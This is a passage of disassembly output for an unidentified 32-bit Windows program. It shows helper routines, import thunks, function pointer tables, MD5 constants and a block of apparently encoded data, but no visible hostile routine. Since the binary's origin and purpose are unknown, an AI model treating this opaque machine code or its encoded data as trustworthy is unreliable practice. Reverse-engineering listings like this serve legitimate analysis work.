CODE XREF: sub_447831+32j mov eax, dword_551098 add eax, 1Eh cmp edi, eax jb short loc_447865 pop edi pop esi pop ebx leave retn sub_447831 endp ; =============== S U B R O U T I N E ======================================= sub_4478DB proc near ; DATA XREF: .data:005512ECo mov eax, 80004001h retn 8 sub_4478DB endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4478E4 proc near ; CODE XREF: sub_447901+1Ep var_FFC = dword ptr -0FFCh pop ecx loc_4478E5: ; CODE XREF: sub_4478E4+14j sub esp, 1000h sub eax, 1000h test [esp+0FFCh+var_FFC], eax cmp eax, 1000h jnb short loc_4478E5 sub esp, eax test [esp+0FFCh+var_FFC], eax push ecx retn sub_4478E4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_447901 proc near ; CODE XREF: sub_4423A6+43p arg_0 = dword ptr 4 pop ecx pop eax add eax, 3 shr eax, 2 shl eax, 2 cmp eax, 1000h jl short loc_447931 mov edx, esp push eax fild [esp-4+arg_0] mov [esp-4+arg_0], ecx fild [esp-4+arg_0] call sub_4478E4 mov esp, edx push edx fistp dword ptr [esp+0] mov ecx, [esp+0] fistp dword ptr [esp+0] pop eax loc_447931: ; CODE XREF: sub_447901+10j sub esp, eax mov eax, esp mov dword ptr [eax], 0 push ecx push ecx retn sub_447901 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_447940 proc near ; CODE XREF: .text:0043A1BAp ; DATA XREF: .data:off_551000o xor eax, eax inc eax retn 0Ch sub_447940 endp ; --------------------------------------------------------------------------- align 4 push eax fnstcw word ptr [esp] mov eax, [esp] btr dword ptr [esp], 8 or word ptr [esp], 200h ; START OF FUNCTION CHUNK FOR sub_44796B loc_44795A: ; CODE XREF: sub_44796B+Dj fldcw word ptr [esp+4+var_4] pop ecx loc_44795E: ; CODE XREF: .text:00447969j mov al, ah and eax, 3 retn ; END OF FUNCTION CHUNK FOR sub_44796B ; --------------------------------------------------------------------------- push eax fnstcw word ptr [esp] pop eax jmp short loc_44795E ; =============== S U B R O U T I N E ======================================= sub_44796B proc near ; CODE XREF: .text:loc_43A1A7p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0044795A SIZE 0000000A BYTES push eax fnstcw word ptr [esp+4+var_4] mov eax, [esp+4+var_4] or word ptr [esp+4+var_4], 300h jmp short loc_44795A sub_44796B endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_44797C proc near ; CODE XREF: sub_43B946+8p ; sub_43C10A+8p ... var_FFC = dword ptr -0FFCh pop ecx loc_44797D: ; CODE XREF: sub_44797C+14j sub esp, 1000h sub eax, 1000h test [esp+0FFCh+var_FFC], eax cmp eax, 1000h jnb short loc_44797D sub esp, eax test [esp+0FFCh+var_FFC], eax jmp ecx sub_44797C endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_44799C proc near ; CODE XREF: sub_43A985+35p ; sub_43A985+105p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] xor eax, eax mov ecx, 0FFFFFFFFh xchg edi, edx repne scasb neg ecx lea ecx, [ecx-1] mov eax, [esp+arg_4] xchg eax, esi mov edi, [esp+arg_0] rep movsb xchg eax, esi xchg edx, edi mov eax, [esp+arg_0] retn 8 sub_44799C endp ; --------------------------------------------------------------------------- align 4 jmp ds:dword_5530AC ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4479D4 proc near ; CODE XREF: sub_43A25C+10p jmp ds:dword_5530B0 sub_4479D4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4479E0 proc near ; CODE XREF: sub_43A080+13p jmp ds:dword_5530B4 sub_4479E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4479EC proc near ; CODE XREF: sub_43A1C3+33p ; sub_43A1C3+45p ... jmp ds:dword_5530C0 sub_4479EC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4479F8 proc near ; CODE XREF: sub_43A1C3+Bp ; sub_43A1C3+17p ... jmp ds:dword_5530C4 sub_4479F8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; --------------------------------------------------------------------------- jmp ds:dword_5530C8 ; --------------------------------------------------------------------------- align 10h jmp ds:dword_5530CC ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447A1C proc near ; CODE XREF: sub_43A25C+4Ep ; sub_43A25C+87p jmp ds:dword_5530D0 sub_447A1C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447A28 proc near ; CODE XREF: .text:0043A186p jmp ds:dword_5530D4 sub_447A28 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447A34 proc near ; CODE XREF: sub_43A1C3+71p ; sub_43A1C3+86p jmp ds:dword_5530D8 sub_447A34 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447A40 proc near ; CODE XREF: sub_43A25C+9Ep jmp ds:dword_5530DC sub_447A40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 dd 50D1E04h, 9440E06h, 1D490705h, 9441D1Dh, 18441808h dd 1D1D491Fh, 1C0B441Dh, 90F0209h, 1F184401h, 51E1949h dd 0B1A0718h, 5094413h, 18094907h, 1A051E1Fh, 491F0444h dd 441D0F04h, 440D0D0Fh, 49070509h, 441D1D1Dh, 1004051Ah dd 0B091903h, 9441907h, 0B490705h, 0F02091Ch, 18440109h dd 1C0B491Fh, 90F0209h, 3084401h, 1D1D4910h, 808441Dh dd 18440403h, 0B07491Fh, 180F1E19h, 9441247h, 1D490705h dd 1A441D1Dh, 3100405h, 70B0919h, 5094419h, 1D1D4907h dd 0B08441Dh, 8470104h, 1F1B040Bh, 0B09470Fh, 0B0E0B04h dd 490B0944h, 441D1D1Dh, 1004051Ah, 0B091903h, 9441907h dd 1D490705h, 8441D1Dh, 9440507h, 1A490705h, 0B1A130Bh dd 5094406h, 80F4907h, 944130Bh, 1D490705h, 8441D1Dh, 501040Bh dd 0E0B070Ch, 440B181Fh, 49070509h, 441D1D1Dh, 9080309h dd 7050944h, 1D1D1D49h, 81E1C44h, 491F1844h, 441D1D1Dh dd 0B081D09h, 9440104h, 0D490705h, 1A0E0605h, 44060605h dd 49070509h, 441D1D1Dh, 1004051Ah, 0B091903h, 9441907h dd 1D490705h, 7441D1Dh, 40B0807h, 1F184401h, 1D1D1D49h dd 3041F44h, 181E190Bh, 1844071Fh, 50D491Fh, 51A0E06h dd 9440606h, 1D490705h, 1A441D1Dh, 3100405h, 70B0919h dd 5094419h, 1D1D4907h, 51D441Dh, 80E0618h, 4401040Bh dd 490D1805h, 441D1D1Dh, 0E040B09h, 1E0B0E03h, 180F1C0Fh dd 0F030C03h, 5094418h, 1D1D4907h, 100h dup(0) dword_448000 dd 0 ; sub_445E14+1C9w dword_448004 dd 0 ; sub_43DFC4+7Ar ... dword_448008 dd 0 ; sub_43F79F+86r ... dword_44800C dd 0 ; sub_43FF3A+152r ... dword_448010 dd 0 ; sub_445E14+36Dw dword_448014 dd 0 ; sub_442FE6+1Ar ... dword_448018 dd 0 ; sub_43CD37+B3Dr ... dword_44801C dd 0 ; sub_441AE5+10Bw dword_448020 dd 0 ; sub_445BAD+112w dword_448024 dd 0 ; sub_444A15+75w dword_448028 dd 0 ; sub_43E429+59w dword_44802C dd 0 ; sub_43B946+2C4r ... dword_448030 dd 0 ; sub_43FF3A+12Dr ... dword_448034 dd 0 ; sub_43BCD9+98r ... dword_448038 dd 0 ; sub_44718F+50r dword_44803C dd 0 ; sub_43B946+25Er ... dword_448040 dd 0 ; sub_445E14+2C5w dword_448044 dd 0 dword_448048 dd 0 ; sub_441DD6+78w ... dword_44804C dd 0 ; sub_445BAD+FDw dword_448050 dd 0 align 10h dword_448060 dd 0 dd 3E7h dup(0) dword_449000 dd 0 dword_449004 dd 0 ; sub_43F79F+67r ... dword_449008 dd 0 ; sub_445BAD+D3w dword_44900C dd 0 ; sub_441DD6+5Cw ... dword_449010 dd 0 ; sub_442767+1Cr dword_449014 dd 0 ; sub_444FE7+55Er dword_449018 dd 0 ; sub_441EAC+6Dw dword_44901C dd 0 ; sub_441AE5+25Dr ... dword_449020 dd 0 ; sub_442DEC+11Cr ... dd 3E7h dup(0) dword_449FC0 dd 0 ; sub_445E14+3Aw dword_449FC4 dd 0 ; sub_4461CC+18r ... dword_449FC8 dd 0 ; sub_442A78+CBr ... dword_449FCC dd 0 ; sub_43AEDD+18r ... dword_449FD0 dd 0 ; sub_441EAC+100w dword_449FD4 dd 0 ; sub_441AE5+A1w align 10h dword_449FE0 dd 40h dup(0) ; sub_442CE5+74o ... dword_44A0E0 dd 0 ; sub_442DEC+142r ... dd 3E7h dup(0) dword_44B080 dd 0 ; sub_445BAD+BEw dword_44B084 dd 0 ; sub_44018C+B3w dword_44B088 dd 0 ; sub_445E14+25w dword_44B08C dd 0 dword_44B090 dd 0 ; sub_441EAC+D6w dword_44B094 dd 0 ; sub_4467C4+655r align 10h dword_44B0A0 dd 41h dup(0) ; sub_43BF49+13o ... dword_44B1A4 dd 0 ; sub_440485+587r ... dword_44B1A8 dd 0 dword_44B1AC dd 0 ; sub_43AC7C+Dr ... byte_44B1B0 db 0 ; DATA XREF: sub_442DEC+85r ; sub_442DEC+14Br ... align 4 dd 0F9h dup(0) dword_44B598 dd 0 ; sub_43B004+Dr ... dword_44B59C dd 0 ; sub_445BAD+13Cw dword_44B5A0 dd 0 ; sub_445BAD+17Ew dword_44B5A4 dd 0 dword_44B5A8 dd 0 ; sub_43EA2A+15Dr ... dword_44B5AC dd 0 ; sub_43CD37+111Fr ... dword_44B5B0 dd 0 ; sub_445E14+29Bw dword_44B5B4 dd 0 ; sub_43E9BF+64w dword_44B5B8 dd 0 ; sub_43DF1B+Er ... dword_44B5BC dd 0 ; sub_445E14+397w ... dword_44B5C0 dd 0 dword_44B5C4 dd 0 ; sub_43E491+357w dword_44B5C8 dd 0 ; sub_441EAC+12Aw dword_44B5CC dd 0 ; sub_43A985+2ECr ... dword_44B5D0 dd 0 ; sub_43E04C+14Fr ... dword_44B5D4 dd 0 ; sub_44018C+5Fw align 10h dword_44B5E0 dd 0 ; sub_43CB55+15Bw ... dd 0FFh dup(0) dword_44B9E0 dd 0 ; sub_43F79F+189w ... dd 0FFFEh dup(0) dword_48B9DC dd 0 dword_48B9E0 dd 0 dword_48B9E4 dd 0 dword_48B9E8 dd 0 ; sub_445BAD+55w dword_48B9EC dd 0 ; sub_43A985+23r ... dword_48B9F0 dd 0 dword_48B9F4 dd 0 ; sub_445E14+E2w dword_48B9F8 dd 0 ; sub_43DF1B+8r ... dword_48B9FC dd 0 ; sub_441EAC+1A8w ... dword_48BA00 dd 0 ; sub_43FC04+37r ... align 10h word_48BA10 dw 0 ; DATA XREF: sub_442DEC+79r ; sub_442DEC+CAr ... align 4 dd 1F3h dup(0) dword_48C1E0 dd 0 ; sub_441AE5+100w dword_48C1E4 dd 0 ; sub_445BAD+E8w dword_48C1E8 dd 0 ; sub_444FE7+551r dword_48C1EC dd 0 ; sub_44018C+CFw ... byte_48C1F0 db 0 ; DATA XREF: sub_43EF58+2Ew ; sub_43EF58+7Cw ... align 4 dd 3Fh dup(0) dword_48C2F0 dd 0 ; sub_4423A6:loc_44242Ar align 10h dword_48C300 dd 5 dup(0) ; sub_4423A6+19Fo ... dword_48C314 dd 0 dword_48C318 dd 0 ; sub_43B004+34r ... dword_48C31C dd 0 ; sub_44718F+2Cr dword_48C320 dd 0 ; sub_43F79F+175w ... dd 0FFFEh dup(0) dword_4CC31C dd 0 dword_4CC320 dd 0 ; sub_43CD37+8C3r ... dword_4CC324 dd 0 ; sub_441DD6+94w ... dword_4CC328 dd 0 ; sub_442A78+8Cr ... align 10h dword_4CC330 dd 80h dup(0) ; sub_43DF32+35o ... dword_4CC530 dd 0 ; sub_44030E+54r ... align 10h dword_4CC540 dd 41h dup(0) ; sub_441AE5+105o ... dword_4CC644 dd 0 ; sub_445E14+2EFw dword_4CC648 dd 0 ; sub_441EAC+C1w align 10h dword_4CC650 dd 0 ; sub_43CD37+89r ... dword_4CC654 dd 0 ; sub_43CD37+56Dr ... dword_4CC658 dd 0 ; sub_43CD37+6FCr ... dword_4CC65C dd 0 ; sub_43CD37+A4Cr ... dword_4CC660 dd 0 ; sub_43CD37+DA3r ... dword_4CC664 dd 0 ; sub_43CD37+D48r ... dword_4CC668 dd 0 ; sub_43CD37+EB1r ... dword_4CC66C dd 0 ; sub_43CD37+1078r ... dword_4CC670 dd 0 ; sub_444FE7+5E5r dword_4CC674 dd 0 ; sub_444FE7+61Cr dword_4CC678 dd 0 ; sub_444FE7+684r dword_4CC67C dd 0 ; sub_444FE7+650r dd 4A4h dup(0) dword_4CD910 dd 0 ; sub_44718F+CAr dword_4CD914 dd 0 ; sub_440485+39r ... dword_4CD918 dd 0 dword_4CD91C dd 0 ; sub_445BAD+166w dword_4CD920 dd 0 ; sub_441AE5+137w align 10h dword_4CD930 dd 41h dup(0) ; sub_441AE5+81o ... dword_4CDA34 dd 0 ; sub_440485+882r ... dword_4CDA38 dd 0 ; sub_44234E+52w dword_4CDA3C dd 0 ; sub_43CD37+77Fr ... dword_4CDA40 dd 0 ; sub_43AEDD+102r ... dword_4CDA44 dd 0 ; sub_445E14+8Ew dword_4CDA48 dd 0 ; sub_43AD8B+53r ... align 10h dword_4CDA50 dd 0 ; sub_4441D8+6AFw ... dd 3E7h dup(0) dword_4CE9F0 dd 0 ; sub_43EF58+62r ... dword_4CE9F4 dd 0 ; sub_43E491+1EFr dword_4CE9F8 dd 0 dword_4CE9FC dd 0 ; sub_444FE7+5ECr ... dword_4CEA00 dd 0 ; sub_43E491+34Cw dword_4CEA04 dd 0 ; sub_444A91+62r ... dword_4CEA08 dd 0 ; sub_445BAD+127w dword_4CEA0C dd 0 ; sub_43E491+19Fr ... dword_4CEA10 dd 0 ; sub_43FCCD+172r ... dword_4CEA14 dd 0 ; sub_440485+E6r ... dword_4CEA18 dd 0 ; sub_43CD37+10F1r ... dword_4CEA1C dd 0 ; sub_445E14+10w dword_4CEA20 dd 0 ; sub_43F79F+152w ... dd 0FFFEh dup(0) dword_50EA1C dd 0 ; sub_44300F+E1Dr dword_50EA20 dd 0 ; sub_445E14+10Cw dword_50EA24 dd 0 ; sub_43CB55+5Cr ... dword_50EA28 dd 0 ; sub_43CB55+47r ... dword_50EA2C dd 0 ; sub_43E491+39Ew ... dword_50EA30 dd 0 ; sub_441EAC+169w ... dword_50EA34 dd 0 ; sub_445E14+21Dw dword_50EA38 dd 0 ; sub_444FE7+1FFr ... dword_50EA3C dd 0 ; sub_43B7D4+22r ... dword_50EA40 dd 0 ; sub_44718F+E7r align 10h dword_50EA50 dd 0 ; sub_43F79F+159w ... dd 856Bh dup(0) dword_530000 dd 7A93h dup(0) dword_54EA4C dd 0 ; sub_445E14+79w dword_54EA50 dd 0 ; sub_441EAC+ACw dword_54EA54 dd 0 ; sub_444FE7+4ECr dword_54EA58 dd 0 ; sub_441EAC+82w ... dword_54EA5C dd 0 ; sub_43AEDD+7Dr ... dword_54EA60 dd 0 ; sub_43E491+81r ... dword_54EA64 dd 0 ; sub_445E14+286w ... dword_54EA68 dd 0 ; sub_43BCA0+2Dr ... align 10h dword_54EA70 dd 40h dup(0) ; sub_441AE5+19Do ... dword_54EB70 dd 0 ; sub_4441D8:loc_44466Er ... dword_54EB74 dd 0 ; sub_441AE5+121w dword_54EB78 dd 0 ; sub_43FF3A+AEr ... align 10h dword_54EB80 dd 0 ; sub_43A646+174w dd 5 dup(0) dword_54EB98 dd 0 dword_54EB9C dd 0 dd 4 dup(0) dword_54EBB0 dd 0 ; sub_43A646+88w dword_54EBB4 dd 0 dword_54EBB8 dd 0 ; sub_43A646+203w ... align 10h dword_54EBC0 dd 0 ; sub_43A646+10Ew ... dword_54EBC4 dd 0 dd 0 dword_54EBCC dd 0 dd 2 dup(0) dword_54EBD8 dd 0 dword_54EBDC dd 0 dword_54EBE0 dd 0 align 8 dword_54EBE8 dd 0 dd 5 dup(0) dword_54EC00 dd 0 ; sub_441EAC+115w dd 2 dup(0) byte_54EC0C db 0 ; DATA XREF: sub_442A78+112w align 10h dword_54EC10 dd 400h dup(0) ; sub_442A78+158o dword_54FC10 dd 0 ; sub_445E14+121w ... dword_54FC14 dd 0 ; sub_43AFED+Er ... dword_54FC18 dd 0 ; sub_43B946+A0r ... dword_54FC1C dd 0 ; sub_43F79F+109r ... dword_54FC20 dd 0 ; sub_43CB55+65r ... dd 0FEh dup(0) dword_55001C dd 0 ; sub_43A985+25Ar ... dword_550020 dd 0 ; sub_43CB55+1AFr ... align 8 dword_550028 dd 0 ; sub_43EA2A+20r ... dword_55002C dd 0 ; sub_445E14+343w dword_550030 dd 0 ; sub_43BCD9+6Dr ... dword_550034 dd 0 ; sub_43EC94+103r ... dword_550038 dd 0 ; sub_441EAC+211w ... dword_55003C dd 0 ; sub_43A57A+10o ... byte_550040 db 0 ; DATA XREF: sub_4421CF+44o ; sub_446429:loc_446495r align 4 dd 3Eh dup(0) db 3 dup(0) byte_55013F db 0 ; DATA XREF: sub_442C15+46w byte_550140 db 0 ; DATA XREF: sub_43B7D4+1Co ; sub_43E94C+Co ... align 4 dd 2 dup(0) db 2 dup(0) byte_55014E db 0 ; DATA XREF: sub_442C15+65w align 10h dword_550150 dd 0 ; sub_43C10A+172r ... dword_550154 dd 0 ; sub_4441D8+72Ar dword_550158 dd 0 align 10h dword_550160 dd 6 dup(0) ; sub_43AC94+64o ... dd 22h dup(?) _text ends ; Section 5. (virtual address 00151000) ; Virtual size : 00001C00 ( 7168.) ; Section size in file : 00001C00 ( 7168.) ; Offset to raw data for section: 00151000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 551000h off_551000 dd offset sub_447940 ; DATA XREF: .text:0043A1B5r dword_551004 dd 0 ; sub_43A1C3+64r dword_551008 dd 0 dword_55100C dd 0 ; sub_43A1C3:loc_43A23Cr dword_551010 dd 0 align 8 dd 7325h aWr: ; DATA XREF: sub_43A1C3+3Do ; sub_43A1C3+4Fo ... unicode 0, <wr>,0 align 4 dd 4 dup(0) dword_551034 dd 0 dword_551038 dd 0 ; .text:0043A117r ... dword_55103C dd 0 dword_551040 dd 14h dup(0) ; .text:0043A11Fo dword_551090 dd 1 ; sub_43C752+3Er ... word_551094 dw 3 ; DATA XREF: sub_43AC94+B3r ; sub_43B045+70Ar ... align 4 dword_551098 dd 2 ; sub_43A985+1EDr ... dword_55109C dd 7 ; sub_43ADE6+2Cr ... word_5510A0 dw 7 ; DATA XREF: sub_43AD8B+Dr ; sub_43B045+531r ... align 4 dword_5510A4 dd 9 ; sub_43ADE6+95r ... dword_5510A8 dd 8 ; sub_43C10A+2Br ... word_5510AC dw 7 ; DATA XREF: sub_43B7D4:loc_43B820r ; sub_43CB55:loc_43CB65r ... align 10h word_5510B0 dw 1 ; DATA XREF: sub_43CD37+752r ; sub_43CD37+8ADr ... align 4 dword_5510B4 dd 4 ; sub_43A646+157r ... dword_5510B8 dd 8 ; sub_43AD8B+42r ... dword_5510BC dd 0 ; sub_43BDAA+6Ar ... dword_5510C0 dd 1 ; sub_43AC94+D2r ... dword_5510C4 dd 9 ; sub_43A646+CDr ... dword_5510C8 dd 0 ; sub_43BDAA+72r ... word_5510CC dw 5 ; DATA XREF: sub_43A8C0+18r ; sub_43A929:loc_43A96Br ... align 10h dword_5510D0 dd 4 ; sub_43BCD9+5Fr ... dword_5510D4 dd 7 ; sub_43B045+48Ar ... word_5510D8 dw 9 ; DATA XREF: sub_43A646+24Br ; sub_43A985+192r ... align 4 dword_5510DC dd 7 ; sub_43C468+2Er ... dword_5510E0 dd 1 ; sub_43ADE6+5Br ... word_5510E4 dw 0 ; DATA XREF: sub_43A59E+96r ; sub_43A985+249r ... align 4 dword_5510E8 dd 7 ; sub_43AEDD+F1r ... word_5510EC dw 0 ; DATA XREF: sub_43A646+244r ; sub_43B045+72r ... align 10h word_5510F0 dw 3 ; DATA XREF: sub_43A324+14Er ; sub_43A985+1CEr ... align 4 dword_5510F4 dd 2 ; sub_43B004+18r ... dword_5510F8 dd 4 ; sub_43B045+4F2r ... dword_5510FC dd 2 ; sub_43A646+D3r ... dword_551100 dd 0 ; sub_43A646+B0r ... word_551104 dw 5 ; DATA XREF: sub_43B946+2Fr ; sub_43CD37+7FBr ... align 4 dword_551108 dd 2 ; sub_43C468+51r ... dword_55110C dd 9 ; sub_43A646+1A8r ... word_551110 dw 1 ; DATA XREF: sub_43A324+31r ; sub_43A985+27Cr ... align 4 dword_551114 dd 2 ; sub_43A985:loc_43AAD9r ... dword_551118 dd 9 ; sub_43A985+E8r ... word_55111C dw 0 ; DATA XREF: sub_43A324+245r ; sub_43A646+A9r ... align 10h word_551120 dw 3 ; DATA XREF: sub_43A324:loc_43A402r ; sub_43A646+1C8r ... align 4 dword_551124 dd 9 ; sub_43B045+461r ... dword_551128 dd 7 ; sub_43A646+22Ar ... word_55112C dw 5 ; DATA XREF: sub_43A59E:loc_43A60Fr ; sub_43A646+115r ... align 10h dword_551130 dd 3 ; sub_43B045+66Ar ... dword_551134 dd 8 ; sub_43ADE6+4Fr ... dword_551138 dd 3 ; sub_43ADE6+86r ... dword_55113C dd 9 ; sub_43B045+41Ar ... word_551140 dw 5 ; DATA XREF: sub_43B045+639r ; sub_43BDAA+FEr ... align 4 word_551144 dw 1 ; DATA XREF: sub_43A324+52r ; sub_43B946+36r ... align 4 dword_551148 dd 7 ; sub_43B045+5DFr ... dword_55114C dd 6 ; sub_43A646+Er ... dword_551150 dd 4 ; sub_43C752+152r ... dword_551154 dd 7 ; sub_43A985+B1r ... dword_551158 dd 1 ; sub_43BDAA+88r ... word_55115C dw 3 ; DATA XREF: sub_43A59E+Cr ; sub_43A985+234r ... align 10h dword_551160 dd 5 ; sub_43B045:loc_43B14Er ... dword_551164 dd 0 ; sub_43C506+163r ... word_551168 dw 4 ; DATA XREF: sub_43A985+201r ; sub_43AEDD+CDr ... align 4 dword_55116C dd 9 ; sub_43A646+192r ... word_551170 dw 1 ; DATA XREF: sub_43A929+Ar ; sub_43B045:loc_43B3A1r ... align 4 dword_551174 dd 1 ; sub_43ADE6+A1r ... dword_551178 dd 3 ; sub_43AEDD+AFr ... dword_55117C dd 5 ; sub_43B045+3FDr ... word_551180 dw 2 ; DATA XREF: sub_43E2F5+4Fr ; sub_43EC94+B1r ... align 4 dword_551184 dd 8 ; sub_43ADE6+7Ar ... word_551188 dw 5 ; DATA XREF: sub_43A985+199r ; sub_43AC94+6Fr ... align 4 dword_55118C dd 0 ; sub_43BF49+9Er ... dword_551190 dd 6 ; sub_43B045+2CBr ... word_551194 dw 7 ; DATA XREF: sub_43A646+168r ; sub_43B045+32Fr ... align 4 dword_551198 dd 3 ; sub_43CD37+2BBr ... dword_55119C dd 7 ; sub_43B045+352r ... dword_5511A0 dd 0 ; sub_43BDAA+CFr ... dword_5511A4 dd 6 ; sub_44569A+ECr ... word_5511A8 dw 0 ; DATA XREF: sub_43A646+73r ; sub_43B045+26Er ... align 4 word_5511AC dw 6 ; DATA XREF: sub_43A646+1Ar ; sub_43B946+83r ... align 10h dword_5511B0 dd 7 ; sub_43A985+159r ... dword_5511B4 dd 1 ; sub_43CD37+57Ar ... dword_5511B8 dd 7 ; sub_43C752+53r ... word_5511BC dw 5 ; DATA XREF: sub_43A646+EFr ; sub_43A646+230r ... align 10h dword_5511C0 dd 0 ; sub_43BDAA+B1r ... word_5511C4 dw 7 ; DATA XREF: sub_43A8C0+1Fr ; sub_43A985+185r ... align 4 word_5511C8 dw 7 ; DATA XREF: sub_43A324+9r ; sub_43A646+101r ... align 4 word_5511CC dw 6 ; DATA XREF: sub_43C752+1F6r ; sub_43CB55+E0r ... align 10h dword_5511D0 dd 3 ; sub_43B946+B8r ... dword_5511D4 dd 9 ; sub_43ADE6+B7r ... dword_5511D8 dd 7 ; sub_43CD37+193r ... dword_5511DC dd 9 ; sub_43C752+17Fr ... dword_5511E0 dd 9 ; sub_43A646+137r ... dword_5511E4 dd 5 ; sub_43A985+4Cr ... dword_5511E8 dd 7 ; sub_43A985+1FBr ... word_5511EC dw 3 ; DATA XREF: sub_43C752+213r ; sub_43CD37+A1r ... align 10h dword_5511F0 dd 9 ; sub_43AC94+2Er ... dword_5511F4 dd 5 ; sub_43BF49+26r ... dword_5511F8 dd 7 ; sub_43AC94+53r ... dword_5511FC dd 0 ; sub_43B045+123r ... dword_551200 dd 3 ; sub_43A646+2r ... dword_551204 dd 3 ; sub_43BF49+FFr ... dword_551208 dd 2 ; sub_43B045+529r ... word_55120C dw 0 ; DATA XREF: sub_43A324+10r ; sub_43A324+60r ... align 10h word_551210 dw 3 ; DATA XREF: sub_43C10A+87r ; sub_43C752+18Er ... align 4 word_551214 dw 3 ; DATA XREF: sub_43A324+122r ; sub_43A646+8Fr ... align 4 dword_551218 dd 1 ; sub_43B946+1ACr ... dword_55121C dd 0 ; sub_43B045+383r ... word_551220 dw 1 ; DATA XREF: sub_43B045+2DFr ; sub_43CD37+980r ... align 4 word_551224 dw 2 ; DATA XREF: sub_43A985+289r ; sub_43B045+53Er ... align 4 word_551228 dw 6 ; DATA XREF: sub_43B045+28Dr ; sub_43B045+5CAr ... align 4 dword_55122C dd 1 ; sub_43AEDD:loc_43AF05r ... dword_551230 dd 5 ; sub_43B045+3EBr ... word_551234 dw 4 ; DATA XREF: sub_43A646+5Dr ; sub_43A646+1B4r ... align 4 dword_551238 dd 9 ; sub_43B045+627r ... word_55123C dw 3 ; DATA XREF: sub_43A985+2C2r ; sub_43BCD9+8Br ... align 10h word_551240 dw 1 ; DATA XREF: sub_43AEDD+43r ; sub_43B045+228r ... align 4 dword_551244 dd 7 ; sub_43C506+C6r ... dword_551248 dd 4 ; sub_43B045+1CEr ... dword_55124C dd 5 ; sub_43B045:loc_43B1E6r ... dword_551250 dd 2 ; sub_43A646+18Cr ... word_551254 dw 8 ; DATA XREF: sub_43A646+20Ar ; sub_43CD37+107r ... align 4 dword_551258 dd 1 ; sub_43B045+2A4r ... dword_55125C dd 5 ; sub_43C10A+1AFr ... word_551260 dw 9 ; DATA XREF: sub_43B045+235r ; sub_43B045+249r ... align 4 dword_551264 dd 3 ; sub_43BDAA+156r ... word_551268 dw 3 ; DATA XREF: sub_43A929+16r ; sub_43AEDD+EAr ... align 4 dword_55126C dd 8 ; sub_43BDAA+40r ... dword_551270 dd 5 ; sub_43B045+673r ... word_551274 dw 1 ; DATA XREF: sub_43A646+30r ; sub_43B045+592r ... align 4 dword_551278 dd 0 ; sub_43AC94+1Ew ... dword_55127C dd 0 ; sub_43F4C7+26Br ... dword_551280 dd 0 ; sub_43B004+20r ... dword_551284 dd 0 ; sub_441EAC+13w ... dword_551288 dd 0 ; sub_43A8C0+2Br ... dword_55128C dd 0 ; sub_44018C+29r ... dword_551290 dd 0 ; sub_441DD6+26r ... dword_551294 dd 0 ; sub_43E9BF+13w ... dword_551298 dd 0 ; sub_444A15+13w ... dword_55129C dd 0 ; sub_443F15+29r ... dword_5512A0 dd 0 ; sub_445BAD+13w ... dword_5512A4 dd 0 ; sub_43F26D+20r ... dword_5512A8 dd 0 ; sub_43E429+22r ... dword_5512AC dd 0 ; sub_43BC51+3Ew ... dword_5512B0 dd 0 ; sub_43BCA0+24r ... dword_5512B4 dd 0 ; sub_43FCCD+153w ... dword_5512B8 dd 0 ; sub_43C10A+33Dw ... dword_5512BC dd 0 ; sub_43F79F:loc_43F901r ... off_5512C0 dd offset sub_441A81 ; DATA XREF: sub_4441D8+6B6o dd offset sub_43AFED dd offset sub_442FE6 dd offset sub_43F265 dd offset sub_445692 dd offset sub_43E489 dd offset sub_442DEC dword_5512DC dd 0 ; sub_441AE5+1A3w ... off_5512E0 dd offset sub_43B7D4 ; DATA XREF: .data:off_5512FCo dd offset sub_4464CE dd offset sub_43A57A dd offset sub_4478DB dd offset sub_43E9B7 dd offset sub_440306 dd offset sub_4457CD off_5512FC dd offset off_5512E0 ; DATA XREF: sub_43A324+15Co ; sub_43FA13+BFo dword_551300 dd 0 ; sub_43A324+ADr ... off_551304 dd offset sub_43E94C ; DATA XREF: .data:off_551320o dd offset sub_43DF1B dd offset sub_44715A dd offset sub_447187 dd offset sub_43A8A8 dd offset sub_43EC8C dd offset sub_43FA13 off_551320 dd offset off_551304 ; DATA XREF: sub_43A324:loc_43A506o dword_551324 dd 0D76AA478h, 0E8C7B756h, 242070DBh, 0C1BDCEEEh, 0F57C0FAFh ; DATA XREF: sub_43B045+2Fo dd 4787C62Ah, 0A8304613h, 0FD469501h, 698098D8h, 8B44F7AFh dd 0FFFF5BB1h, 895CD7BEh, 6B901122h, 0FD987193h, 0A679438Eh dd 49B40821h dword_551364 dd 0F61E2562h, 0C040B340h, 265E5A51h, 0E9B6C7AAh, 0D62F105Dh ; DATA XREF: sub_43B045+3Fo dd 2441453h, 0D8A1E681h, 0E7D3FBC8h, 21E1CDE6h, 0C33707D6h dd 0F4D50D87h, 455A14EDh, 0A9E3E905h, 0FCEFA3F8h, 676F02D9h 